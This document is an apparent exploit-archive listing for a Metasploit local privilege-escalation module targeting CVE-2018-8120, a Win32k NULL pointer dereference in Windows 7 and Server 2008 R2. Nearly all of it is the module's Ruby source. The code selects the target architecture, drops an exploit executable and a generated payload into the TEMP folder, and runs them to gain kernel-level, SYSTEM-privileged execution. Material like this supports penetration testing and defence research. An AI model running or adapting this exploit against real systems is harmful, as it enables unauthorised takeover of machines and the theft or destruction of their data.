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Microsoft Windows SetImeInfoEx Win32k NULL Pointer Dereference

Microsoft Windows SetImeInfoEx Win32k NULL Pointer Dereference
Posted Oct 19, 2018
Authored by unamer, Dhiraj Mishra, bigric3, Anton Cherepanov | Site metasploit.com

This Metasploit module exploits an elevation of privilege vulnerability that exists in Windows 7 and 2008 R2 when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploits this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. This Metasploit module is tested against windows 7 x86, windows 7 x64 and windows server 2008 R2 standard x64.

tags | exploit, arbitrary, x86, kernel
systems | windows, 7
advisories | CVE-2018-8120
MD5 | 967e04838b302049cc237c549437ccec

Microsoft Windows SetImeInfoEx Win32k NULL Pointer Dereference

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Windows::Priv
include Msf::Exploit::FileDropper


def initialize(info={})
super(update_info(info,
'Name' => 'Windows SetImeInfoEx Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits elevation of privilege vulnerability that exists in Windows 7 and 2008 R2
when the Win32k component fails to properly handle objects in memory. An attacker who
successfully exploited this vulnerability could run arbitrary code in kernel mode. An
attacker could then install programs; view, change, or delete data; or create new
accounts with full user rights.

This module is tested against windows 7 x86, windows 7 x64 and windows server 2008 R2 standard x64.
},
'License' => MSF_LICENSE,
'Author' => [
'unamer', # Exploit PoC
'bigric3', # Analysis and exploit
'Anton Cherepanov', # Vulnerability discovery
'Dhiraj Mishra <dhiraj@notsosecure.com>' # Metasploit
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Automatic', {} ],
[ 'Windows 7 x64', { 'Arch' => ARCH_X64 } ],
[ 'Windows 7 x86', { 'Arch' => ARCH_X86 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['BID', '104034'],
['CVE', '2018-8120'],
['URL', 'https://github.com/unamer/CVE-2018-8120'],
['URL', 'https://github.com/bigric3/cve-2018-8120'],
['URL', 'http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html'],
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120']
],
'DisclosureDate' => 'May 9 2018',
'DefaultTarget' => 0
))
end

def assign_target
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end

if sysinfo['OS'] =~ /XP|NT/i
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end

return target unless target.name == 'Automatic'

case sysinfo['Architecture']
when 'x64'
vprint_status('Targeting x64 system')
return targets[1]
when 'x86'
fail_with(Failure::BadConfig, "Invalid payload architecture") if payload_instance.arch.first == ARCH_X64
vprint_status('Targeting x86 system')
return targets[2]
end
end

def write_file_to_target(fname, data)
tempdir = session.sys.config.getenv('TEMP')
file_loc = "#{tempdir}\\#{fname}"
vprint_warning("Attempting to write #{fname} to #{tempdir}")
write_file(file_loc, data)
vprint_good("#{fname} written")
file_loc
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful")
end

def check_arch
sys_arch = assign_target
if sys_arch.name =~ /x86/
return 'CVE-2018-8120x86.exe'
else sys_arch.name =~ /x64/
return 'CVE-2018-8120x64.exe'
end
end

def exploit
cve_fname = check_arch
rexe = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8120', cve_fname)
vprint_status("Reading payload from file #{rexe}")
raw = File.read(rexe)

rexename = "#{Rex::Text.rand_text_alphanumeric(10)}.exe"
vprint_status("EXE's name is: #{rexename}")
exe = generate_payload_exe
tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe"

exe_payload = write_file_to_target(tempexename, exe)
vprint_status("Payload uploaded to temp folder")
cve_exe = write_file_to_target(rexename, raw)
command = "\"#{cve_exe}\" \"#{exe_payload}\""
vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}")
register_file_for_cleanup(exe_payload)

vprint_status("Executing command : #{command}")
cmd_exec_get_pid(command)
print_good('Exploit finished, wait for privileged payload execution to complete.')
end
end

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